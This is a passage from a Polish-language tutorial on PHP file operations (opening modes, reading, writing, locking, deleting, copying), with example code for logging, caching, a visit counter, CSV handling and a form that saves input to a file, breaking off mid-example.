<h3 class="wp-block-heading"><span style="text-decoration: underline;"><strong>Odczytywanie danych</strong></span> z pliku również przebiega 3-etapowo:</h3>



<ol class="wp-block-list">
<li>Otwieramy plik, a jeżeli takowy nie może zostać otwarty musi zostać oprogramowane zgłoszenie błędu</li>



<li>Odczytujemy dane</li>



<li>Zamykamy plik</li>
</ol>



<h3 class="wp-block-heading"><strong><span class="methodname">file_exists</span>() </strong>&#8211; sprawdzamy czy plik istnieje</h3>



<p class="wp-block-paragraph">Funkcja sprawdza czy plik lub katalog istnieje.</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />if (file_exists('plik.txt')) {<br />    echo "Plik istnieje";<br />} else {<br />    echo "Plik nie istnieje";<br />}<br /><br />// Sprawdź przed operacją<br />if (!file_exists('dane.txt')) {<br />    file_put_contents('dane.txt', '');  // utwórz pusty plik<br />}</pre>



<h3 class="wp-block-heading"><strong>&nbsp;is_file() / is_dir() / is_readable() / is_writable()</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$path = 'dokument.pdf';

// Czy to plik?
if (is_file($path)) {
    echo "$path jest plikiem\n";
}

// Czy można odczytać?
if (is_readable($path)) {
    echo "Można odczytać\n";
}

// Czy można zapisać?
if (is_writable($path)) {
    echo "Można zapisać\n";
}

// Czy to katalog?
if (is_dir('uploads')) {
    echo "uploads jest katalogiem\n";
}</code></pre>



<h3 class="wp-block-heading"><strong>fopen(<em>nazwa_pliku, tryb_otwierania</em>) </strong>&#8211; otwieranie pliku</h3>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><em><strong>Przykład:</strong></em></span></p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = fopen('dane.txt', 'r');<br /><br />if ($plik === false) {<br />    die('Nie udało się otworzyć pliku');<br />}<br /><br />// ... operacje na pliku ...<br /><br />fclose($plik);</pre>



<p class="wp-block-paragraph"><strong>nazwa pliku</strong> &#8211; musimy pamiętać o ścieżce dostępu do naszego pliku, jeżeli tryb otwierania jest ustawiony na &#8221;r&#8221; czyli tylko do odczytu, to za nazwę pliku może służyć adres URL do pliku. Należy uważać, by nie stworzyć pliku o nazwie, która już istnieje – istniejący plik zostanie wtedy trwale usunięty w miejsce nowo stworzonego.</p>



<p class="wp-block-paragraph"><strong>Tryby otwierania pliku</strong></p>



<table style="width: 100%; height: 252px;">
<thead>
<tr style="height: 28px;">
<th style="width: 8.92857%; height: 28px;">Tryb</th>
<th style="width: 31.7857%; height: 28px;">Opis</th>
<th style="width: 13.6905%; height: 28px;">Wskaźnik</th>
<th style="width: 28.0952%; height: 28px;">Tworzy plik?</th>
<th style="width: 17.5%; height: 28px;">Obcina plik?</th>
</tr>
</thead>
<tbody>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Tylko odczyt</td>
<td style="width: 13.6905%; height: 28px;"> Początek</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">nie</td>
<td style="width: 17.5%; text-align: center; height: 28px;">nie</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">r+</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Odczyt i zapis</td>
<td style="width: 13.6905%; height: 28px;"> Początek</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">nie</td>
<td style="width: 17.5%; text-align: center; height: 28px;">nie</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Tylko zapis</td>
<td style="width: 13.6905%; height: 28px;"> Początek</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">tak</td>
<td style="width: 17.5%; text-align: center; height: 28px;">tak</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">w+</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Odczyt i zapis</td>
<td style="width: 13.6905%; height: 28px;"> Początek</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">tak</td>
<td style="width: 17.5%; text-align: center; height: 28px;">tak</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Tylko dopisywanie</td>
<td style="width: 13.6905%; height: 28px;"> Koniec</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">tak</td>
<td style="width: 17.5%; text-align: center; height: 28px;">nie</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">a+</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Odczyt i dopisywanie</td>
<td style="width: 13.6905%; height: 28px;"> Koniec</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">tak</td>
<td style="width: 17.5%; text-align: center; height: 28px;">nie</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Tworzenie + zapis</td>
<td style="width: 13.6905%; height: 28px;"> Początek</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">tak (błąd jeśli istnieje)</td>
<td style="width: 17.5%; text-align: center; height: 28px;">nie</td>
</tr>
<tr style="height: 28px;">
<td style="width: 8.92857%; text-align: center; height: 28px;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">x+</code></td>
<td style="width: 31.7857%; padding-left: 40px; height: 28px;">Tworzenie + odczyt/zapis</td>
<td style="width: 13.6905%; height: 28px;"> Początek</td>
<td style="width: 28.0952%; text-align: center; height: 28px;">tak (błąd jeśli istnieje)</td>
<td style="width: 17.5%; text-align: center; height: 28px;">nie</td>
</tr>
</tbody>
</table>
<p> </p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odczyt - plik musi istnieć
$plik = fopen('dane.txt', 'r');

// Zapis - nadpisze cały plik
$plik = fopen('dane.txt', 'w');

// Dopisywanie - na końcu pliku
$plik = fopen('log.txt', 'a');

// Utwórz nowy - błąd jeśli istnieje
$plik = fopen('nowy.txt', 'x');</code></pre>



<h3 class="wp-block-heading"><strong>fclose() </strong>&#8211; zamykanie pliku</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$plik = fopen('dane.txt', 'r');

// ... operacje ...

fclose($plik);</code></pre>



<h3 class="wp-block-heading"><strong>Zapisywanie danych do pliku</strong></h3>



<h4 class="wp-block-heading"><strong>fwrite() / fputs()</strong> &#8211; zapis danych</h4>



<p class="wp-block-paragraph">fputs() to alias dla fwrite(). Powyższa funkcja zapisuje do pliku tekst, zawarty w zmiennej $tresc. Podczas wywołania funkcji można dodać trzeci, opcjonalny argument, $dlugosc. Jeżeli go zamieścimy, do pliku zostanie zapisanych maksymalnie $dlugosc znaków. Zależnie od trybu otwarcia, zawartość zostanie dopisana na końcu pliku, lub nadpisze istniejącą treść. Jest ona równoważna z instrukcją fputs().</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = fopen('dane.txt', 'w');<br /><br />if ($plik === false) {<br />    die('Błąd otwarcia pliku');<br />}<br /><br />$tresc = "To jest przykładowa treść.\n";<br />$tresc .= "Druga linia tekstu.\n";<br /><br />fwrite($plik, $tresc);<br />fclose($plik);<br /><br />echo "Dane zapisane!";</pre>



<p class="wp-block-paragraph">Poniżej przykład z użyciem limitu znaków:</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = fopen('dane.txt', 'w');<br /><br />$tresc = "Przykładowa treść, którą umieścimy w pliku.";<br />fwrite($plik, $tresc, 30);  // zapisze tylko 30 znaków<br /><br />fclose($plik);</pre>



<p class="wp-block-paragraph">Pełny przykład zapisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// 1. Otwieramy plik w trybie dopisywania
$plik = fopen('log.txt', 'a') or die('Nie można otworzyć pliku');

// 2. Przygotuj dane
$data = date('Y-m-d H:i:s');
$wiadomosc = "&#91;$data] Użytkownik zalogował się\n";

// 3. Zapisz do pliku
fwrite($plik, $wiadomosc) or die('Nie można zapisać danych');

// 4. Zamknij plik
fclose($plik);

echo "Wpis dodany do logu!";</code></pre>



<h3 class="wp-block-heading"><strong>Odczytywanie pliku</strong></h3>



<p class="wp-block-paragraph">Istnieje kilka sposobów na odczytanie zawartości pliku.</p>



<h4 class="wp-block-heading"><b><strong>fread() </strong>&#8211; odczyt określonej długości</b></h4>



<p class="wp-block-paragraph">Funkcja&nbsp; czyta z pliku określoną długość znaków. Czytanie zakończy się, jeżeli osiągnięta zostanie $dlugość znaków, koniec pliku lub odczytanych zostanie 8192 bajtów. Długość całego pliku możemy określić za pomocą funkcji <em>filesize(&#8222;nazwa_pliku.txt&#8221;)</em></p>



<p class="wp-block-paragraph"><em><span style="text-decoration: underline;"><strong>Przykład:</strong></span></em></p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = fopen('dane.txt', 'r');<br /><br />if ($plik === false) {<br />    die('Nie można otworzyć pliku');<br />}<br /><br />// Odczytaj 100 znaków<br />$zawartosc = fread($plik, 100);<br /><br />// Lub odczytaj cały plik<br />// $zawartosc = fread($plik, filesize('dane.txt'));<br /><br />echo $zawartosc;<br />fclose($plik);</pre>



<h4 class="wp-block-heading"><b><strong>fgets() &#8211; </strong>odczyt linia po linii</b></h4>



<p class="wp-block-paragraph">Innym sposobem na czytanie zawartości jest funkcja . Czyta ona jedną linię pliku, dopóki nie napotka znacznika przejścia do kolejnej linii. Żeby odczytać cały plik, wystarczy użyć pętli. W przypadku tej metody nie musimy się martwić, czy cały plik zostanie odczytany, czy przypadkiem nie przekroczyliśmy długości znaków. Funkcja feof() zwraca true, jeśli osiągnęliśmy koniec pliku. Przykład czytania pliku z użyciem fgets:</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = fopen('dane.txt', 'r');<br /><br />if ($plik === false) {<br />    die('Nie można otworzyć pliku');<br />}<br /><br />echo "&lt;pre&gt;";<br /><br />// Czytaj linię po linii<br />while (!feof($plik)) {<br />    $linia = fgets($plik);<br />    echo htmlspecialchars($linia);<br />}<br /><br />echo "&lt;/pre&gt;";<br />fclose($plik);</pre>



<p class="wp-block-paragraph"><strong>feof()</strong>&nbsp;&#8211; zwraca&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy osiągnięto koniec pliku.</p>



<h4 class="wp-block-heading"><b><strong>fgetc()</strong> &#8211; odczyt znak po znaku</b></h4>



<p class="wp-block-paragraph">jest bardzo podobna w użyciu do fgets, z tą jednak różnicą, że czytamy po jednym znaku. Przykład niemal identyczny:</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = fopen('dane.txt', 'r');<br /><br />if ($plik === false) {<br />    die('Nie można otworzyć pliku');<br />}<br /><br />$zawartosc = '';<br /><br />while (!feof($plik)) {<br />    $znak = fgetc($plik);<br />    $zawartosc .= $znak;<br />}<br /><br />echo $zawartosc;<br />fclose($plik);</pre>



<h4 class="wp-block-heading"><strong>rewind() &#8211;</strong> cofnij wskaźnik na początek</h4>



<p class="wp-block-paragraph"><strong>UWAGA: </strong>jeżeli kursor znajduje się na końcu pliku, to żeby odczytać dane należy przenieść kursor na początek: </p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$plik = fopen('dane.txt', 'r+');

// Odczytaj cały plik
$zawartosc = fread($plik, filesize('dane.txt'));

// Cofnij wskaźnik na początek
rewind($plik);

// Zapisz nowe dane
fwrite($plik, 'Nowa treść');

fclose($plik);</code></pre>



<h3 class="wp-block-heading"><strong>Blokowanie plików</strong></h3>



<p>Blokowanie plików ważnym zagadnieniem w kontekście operacji na plikach. Jeśli wiele osób jednocześnie wchodzi na stronę i plik jest zapisywany (np. licznik), może dojść do nadpisania danych.<br data-start="509" data-end="512" />Dlatego używamy <strong data-start="528" data-end="538">blokad</strong> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">flock()</code></p>
<h3 data-start="553" data-end="573">Tryby blokad:</h3>
<ul data-start="574" data-end="750">
<li data-start="574" data-end="646">
<p data-start="576" data-end="646"><code class="prettyprint lang-sql" style="font-size: 0.85em;">LOCK_SH</code> – blokada współdzielona (tylko odczyt, wiele procesów może czytać jednocześnie)</p>
</li>
<li data-start="647" data-end="717">
<p data-start="649" data-end="717"><code class="prettyprint lang-sql" style="font-size: 0.85em;">LOCK_EX</code> – blokada wyłączna (zapis, tylko jeden proces ma dostęp (zapis))</p>
</li>
<li data-start="718" data-end="750">
<p data-start="720" data-end="750"><code class="prettyprint lang-sql" style="font-size: 0.85em;">LOCK_UN</code> – zwolnienie blokady</p>
</li>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">LOCK_NB</code> – nie czekaj, jeśli plik jest zablokowany</li>
</ul>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$plik = fopen('licznik.txt', 'r+');

// Zablokuj plik (wyłącznie)
flock($plik, LOCK_EX);

// Odczytaj aktualną wartość
$liczba = (int)fread($plik, filesize('licznik.txt'));
$liczba++;

// Cofnij wskaźnik i zapisz nową wartość
rewind($plik);
fwrite($plik, $liczba);
fflush($plik);  // wymuś zapis na dysk

// Odblokuj plik
flock($plik, LOCK_UN);

fclose($plik);

echo "Liczba odwiedzin: $liczba";</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego flock() jest ważny:</strong><br />Bez niego kilku użytkowników jednocześnie mogłoby odczytać tę samą wartość i zapisać ją, przez co licznik „zgubiłby” odwiedziny.</p>



<p><span style="font-size: 14pt;"><strong>Ważne:</strong></span> Zawsze zamykaj pliki po użyciu, aby zwolnić zasoby systemowe.</p>



<p class="wp-block-paragraph">Przykład: licznik odwiedzin</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function incrementCounter(string $file): int {
    // Utwórz plik jeśli nie istnieje
    if (!file_exists($file)) {
        file_put_contents($file, '0');
    }
    
    $fp = fopen($file, 'r+');
    
    if ($fp === false) {
        return 0;
    }
    
    // Blokada wyłączna
    flock($fp, LOCK_EX);
    
    // Odczytaj
    $liczba = (int)fread($fp, filesize($file));
    $liczba++;
    
    // Zapisz
    rewind($fp);
    fwrite($fp, $liczba);
    fflush($fp);
    
    // Odblokuj i zamknij
    flock($fp, LOCK_UN);
    fclose($fp);
    
    return $liczba;
}

// Użycie
$odwiedziny = incrementCounter('licznik.txt');
echo "Odwiedziny: $odwiedziny";</code></pre>



<h3 class="wp-block-heading"><strong>unlink() </strong>&#8211;&nbsp;usuwanie pliku</h3>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><em><strong>Przykład:</strong></em></span></p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$plik = 'do_usuniecia.txt';<br /><br />if (file_exists($plik)) {<br />    if (unlink($plik)) {<br />        echo "Plik usunięty";<br />    } else {<br />        echo "Błąd usuwania";<br />    }<br />} else {<br />    echo "Plik nie istnieje";<br />}</pre>



<p class="wp-block-paragraph">Nie każdy plik może zostać usunięty, wszystko zależy od odpowiednich praw dostępu. </p>



<p><strong>Uwaga:</strong> Plik jest usuwany <strong>permanentnie</strong> (nie trafia do kosza).</p>



<h3 class="wp-block-heading"><strong>copy()</strong> &#8211; kopiowanie pliku</h3>



<p class="wp-block-paragraph">Pozwala utworzyć duplikat pliku w nowej lokalizacji.</p>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><em><strong>Przykład:</strong></em></span></p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />$zrodlo = 'dane.txt';<br />$cel = 'kopia_dane.txt';<br /><br />if (copy($zrodlo, $cel)) {<br />    echo "Plik skopiowany";<br />} else {<br />    echo "Błąd kopiowania";<br />}<br /><br />// Kopiowanie do innego katalogu<br />copy('dane.txt', 'backup/dane.txt');</pre>



<p class="wp-block-paragraph"><strong>Uwaga:</strong>&nbsp;Jeśli plik docelowy istnieje, zostanie&nbsp;<strong>nadpisany</strong>.</p>



<h3 class="wp-block-heading"><strong>rename() &#8211;</strong> zmiana nazwy / przenoszenie</h3>



<p class="wp-block-paragraph">Ta funkcja <strong>zmienia nazwę</strong> pliku lub <strong>przenosi go</strong> do innego katalogu.</p>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><em><strong>Przykład:</strong></em></span></p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />// Zmiana nazwy<br />rename('stara_nazwa.txt', 'nowa_nazwa.txt');<br /><br />// Przeniesienie do innego katalogu<br />rename('plik.txt', 'archiwum/plik.txt');<br /><br />// Przeniesienie + zmiana nazwy<br />rename('dane.txt', 'backup/dane_2025.txt');<br /><br />// Działa też dla katalogów<br />rename('stary_folder', 'nowy_folder');</pre>



<p class="wp-block-paragraph">Działa także dla katalogów.</p>



<h3 class="wp-block-heading"><strong>filesize() &#8211; </strong>rozmiar pliku</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$plik = 'dokument.pdf';

if (file_exists($plik)) {
    $rozmiar = filesize($plik);
    echo "Rozmiar: $rozmiar bajtów\n";
    
    // Sformatowany
    echo "Rozmiar: " . formatBytes($rozmiar);
}

function formatBytes(int $bytes, int $precision = 2): string {
    $units = &#91;'B', 'KB', 'MB', 'GB', 'TB'];
    
    for ($i = 0; $bytes &gt; 1024 &amp;&amp; $i &lt; count($units) - 1; $i++) {
        $bytes /= 1024;
    }
    
    return round($bytes, $precision) . ' ' . $units&#91;$i];
}</code></pre>



<h3 class="wp-block-heading"><strong>filemtime() &#8211;</strong> data ostatniej modyfikacji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$plik = 'dane.txt';

if (file_exists($plik)) {
    $timestamp = filemtime($plik);
    
    echo "Ostatnia modyfikacja: " . date('Y-m-d H:i:s', $timestamp);
    
    // Sprawdź wiek pliku
    $wiek = time() - $timestamp;
    $dni = floor($wiek / (60 * 60 * 24));
    
    echo "\nPlik ma $dni dni";
}</code></pre>



<h2 class="wp-block-heading"><strong>Alternatywne podejście</strong></h2>



<p class="wp-block-paragraph">Trzeba pamiętać, że funkcja <strong><em>fopen()</em></strong> daje większą kontrolę i lepiej sprawdza się w „poważniejszych” zastosowaniach (duże dane, blokady, odczyt/zapis równocześnie). Istnieje dla niej prostsza alternatywa.</p>



<h3 class="wp-block-heading"><strong>file_put_contents() </strong>&#8211; prostszy zapis</h3>



<p>W PHP najprostszy i najszybszy sposób zapisu danych do pliku to użycie funkcji <em><strong>file_put_contents():</strong></em></p>
<ul>
<li>jedna linijka kodu</li>
<li>automatyczne otwarcie i zamknięcie</li>
<li>szybkie i czytelne</li>
</ul>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Podstawowy zapis (nadpisuje plik)
$dane = "To jest przykładowy tekst.\n";
file_put_contents('plik.txt', $dane);

// Dopisywanie na końcu
file_put_contents('log.txt', $dane, FILE_APPEND);

// Zapis tablicy
$tablica = &#91;'Jan', 'Anna', 'Piotr'];
file_put_contents('lista.txt', implode("\n", $tablica));

// Sprawdź czy się udało
$wynik = file_put_contents('dane.txt', 'treść');
if ($wynik !== false) {
    echo "Zapisano $wynik bajtów";
}</code></pre>



<ul class="wp-block-list">
<li>tworzy plik plik.txt (jeśli nie istnieje),</li>



<li>zapisuje w nim zawartość zmiennej $dane,</li>



<li>jeśli plik już istnieje — <strong>nadpisze</strong> go.</li>
</ul>



<h3 class="wp-block-heading">Dopisywanie do istniejącego pliku (zamiast nadpisywania):</h3>



<p class="wp-block-paragraph">Użycie flagi FILE_APPEND:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$dane = "Nowa linia\n";
file_put_contents("plik.txt", $dane, FILE_APPEND);
?&gt;</code></pre>



<p class="wp-block-paragraph">Wtedy kolejne wywołania dopisują treść na końcu pliku.</p>



<h3 class="wp-block-heading"><strong>file_get_contents() </strong>&#8211; prostszy odczyt</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odczyt całego pliku
$zawartosc = file_get_contents('dane.txt');
echo $zawartosc;

// Z zewnętrznego URL
$html = file_get_contents('https://example.com');

// Sprawdź błędy
$zawartosc = file_get_contents('dane.txt');
if ($zawartosc === false) {
    echo "Błąd odczytu";
}</code></pre>



<h3 class="wp-block-heading"><strong>file()</strong> &#8211; odczyt do tablicy</h3>



<p class="wp-block-paragraph">Każda linia pliku staje się elementem tablicy.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Odczyt linii do tablicy
$linie = file('dane.txt');

foreach ($linie as $nr =&gt; $linia) {
    echo "Linia " . ($nr + 1) . ": " . $linia;
}

// Bez pustych linii i \n
$linie = file('dane.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

print_r($linie);</code></pre>



<p class="wp-block-paragraph"><strong>Flagi:</strong></p>



<ul>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_IGNORE_NEW_LINES</code> &#8211; usuwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">\n</code> z końca linii</li>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_SKIP_EMPTY_LINES</code> &#8211; pomija puste linie</li>
</ul>



<h3 class="wp-block-heading">Porównanie metod</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ============================================
// TRADYCYJNA METODA (3 kroki)
// ============================================
$plik = fopen('dane.txt', 'w');
fwrite($plik, 'Treść');
fclose($plik);

// ============================================
// NOWOCZESNA METODA (1 linijka)
// ============================================
file_put_contents('dane.txt', 'Treść');


// ============================================
// ODCZYT - tradycyjny
// ============================================
$plik = fopen('dane.txt', 'r');
$zawartosc = fread($plik, filesize('dane.txt'));
fclose($plik);

// ============================================
// ODCZYT - nowoczesny
// ============================================
$zawartosc = file_get_contents('dane.txt');</code></pre>



<h2 class="wp-block-heading">Przykłady praktyczne</h2>



<h3 class="wp-block-heading">1. System logowania</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function logEvent(string $message, string $level = 'INFO'): void {
    $logFile = 'app.log';
    $timestamp = date('Y-m-d H:i:s');
    $logEntry = "&#91;$timestamp] &#91;$level] $message\n";
    
    file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}

// Użycie
logEvent('Użytkownik zalogowany', 'INFO');
logEvent('Błąd połączenia z bazą', 'ERROR');
logEvent('Ostrzeżenie: mało miejsca', 'WARNING');</code></pre>



<h3 class="wp-block-heading">2. Cache systemu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function cache(string $key, callable $callback, int $ttl = 3600): mixed {
    $cacheFile = "cache/$key.cache";
    
    // Sprawdź czy cache jest aktualny
    if (file_exists($cacheFile) &amp;&amp; (time() - filemtime($cacheFile)) &lt; $ttl) {
        return unserialize(file_get_contents($cacheFile));
    }
    
    // Wygeneruj nowe dane
    $data = $callback();
    
    // Zapisz w cache
    if (!is_dir('cache')) {
        mkdir('cache', 0755, true);
    }
    file_put_contents($cacheFile, serialize($data), LOCK_EX);
    
    return $data;
}

// Użycie
$users = cache('users', function() {
    // Symulacja wolnego zapytania do bazy
    sleep(2);
    return &#91;'Jan', 'Anna', 'Piotr'];
}, 60);  // cache na 60 sekund

print_r($users);</code></pre>



<h3 class="wp-block-heading">3. Prosty licznik odwiedzin</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function getVisitCount(string $file = 'counter.txt'): int {
    if (!file_exists($file)) {
        file_put_contents($file, '0');
    }
    
    $fp = fopen($file, 'r+');
    flock($fp, LOCK_EX);
    
    $count = (int)fgets($fp);
    $count++;
    
    rewind($fp);
    fwrite($fp, $count);
    fflush($fp);
    
    flock($fp, LOCK_UN);
    fclose($fp);
    
    return $count;
}

$visits = getVisitCount();
echo "Odwiedziny: $visits";</code></pre>



<h3 class="wp-block-heading">4. CSV reader/writer</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class CSVHandler {
    private string $file;
    
    public function __construct(string $file) {
        $this-&gt;file = $file;
    }
    
    public function read(): array {
        if (!file_exists($this-&gt;file)) {
            return &#91;];
        }
        
        $data = &#91;];
        $handle = fopen($this-&gt;file, 'r');
        
        // Pomijamy nagłówek
        fgetcsv($handle);
        
        while (($row = fgetcsv($handle)) !== false) {
            $data&#91;] = $row;
        }
        
        fclose($handle);
        return $data;
    }
    
    public function write(array $data, array $header = &#91;]): void {
        $handle = fopen($this-&gt;file, 'w');
        
        // Zapisz nagłówek
        if (!empty($header)) {
            fputcsv($handle, $header);
        }
        
        // Zapisz dane
        foreach ($data as $row) {
            fputcsv($handle, $row);
        }
        
        fclose($handle);
    }
    
    public function append(array $row): void {
        $handle = fopen($this-&gt;file, 'a');
        fputcsv($handle, $row);
        fclose($handle);
    }
}

// Użycie
$csv = new CSVHandler('users.csv');

// Zapis
$csv-&gt;write(&#91;
    &#91;'Jan', 'Kowalski', 30],
    &#91;'Anna', 'Nowak', 25]
], &#91;'Imię', 'Nazwisko', 'Wiek']);

// Odczyt
$users = $csv-&gt;read();
print_r($users);

// Dopisz
$csv-&gt;append(&#91;'Piotr', 'Wiśniewski', 35]);</code></pre>



<h3 class="wp-block-heading">5. Prosty szablon z plikami</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function renderTemplate(string $template, array $vars = &#91;]): string {
    $file = "templates/$template.html";
    
    if (!file_exists($file)) {
        throw new Exception("Template not found: $template");
    }
    
    $content = file_get_contents($file);
    
    // Zamień zmienne {{zmienna}}
    foreach ($vars as $key =&gt; $value) {
        $content = str_replace("{{" . $key . "}}", $value, $content);
    }
    
    return $content;
}

// templates/email.html:
// &lt;h1&gt;Witaj {{name}}!&lt;/h1&gt;
// &lt;p&gt;Twoje konto zostało utworzone. Twój email to: {{email}}&lt;/p&gt;

// Użycie
echo renderTemplate('email', &#91;
    'name' =&gt; 'Jan',
    'email' =&gt; 'jan@example.com'
]);</code></pre>



<h3 class="wp-block-heading">6. Zapis/odczyt danych z formularza do pliku i  usunięcie pliku</h3>



<p class="wp-block-paragraph"><strong>index.php:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ============================================
// FORMULARZ Z ZAPISEM DO PLIKU
// ============================================

if (empty($_POST&#91;'pole1']) &amp;&amp; empty($_POST&#91;'pole2'])) {
    // Wyświetl formularz
    ?>
    &lt;!DOCTYPE html>
    &lt;html lang="pl">
    &lt;head>
        &lt;meta charset="UTF-8">
        &lt;title>Formularz&lt;/title>
        &lt;style>
            body {
                font-family: Arial, sans-serif;
                max-width: 600px;
                margin: 50px auto;
                padding: 20px;
            }
            input, textarea {
                width: 100%;
                padding: 10px;
                margin: 10px 0;
                box-sizing: border-box;
            }
            button {
                background: #007bff;
                color: white;
                padding: 10px 20px;
                border: none;
                cursor: pointer;
            }
            button:hover {
                background: #0056b3;
            }
        &lt;/style>
    &lt;/head>
    &lt;body>
        &lt;h2>Formularz zapisu danych&lt;/h2>
        &lt;form method="POST">
            &lt;label>Tytuł:&lt;/label>
            &lt;input type="text" name="pole1" required>
            
            &lt;label>Treść:&lt;/label>
            &lt;textarea name="pole2" rows="5" required>&lt;/textarea>
            
            &lt;button type="submit">Zapisz&lt;/button>
        &lt;/form>
    &lt;/body>
    &lt;/html>
    &lt;?php
} else {
    // Przetwórz formularz
    $pole1 = trim($_POST&#91;'pole1']);
    $pole2 = trim($_POST&#91;'pole2']);
    
    // Walidacja
    if (empty($pole1) || empty($pole2)) {
        die('Wszystkie pola są wymagane!');
    }
  
    
    // Przygotuj dane (separator `)
    $dane = $pole1 . "`" . $pole2 . "\n";
    
    // Zapisz z blokowaniem
    $file = "baza.txt";
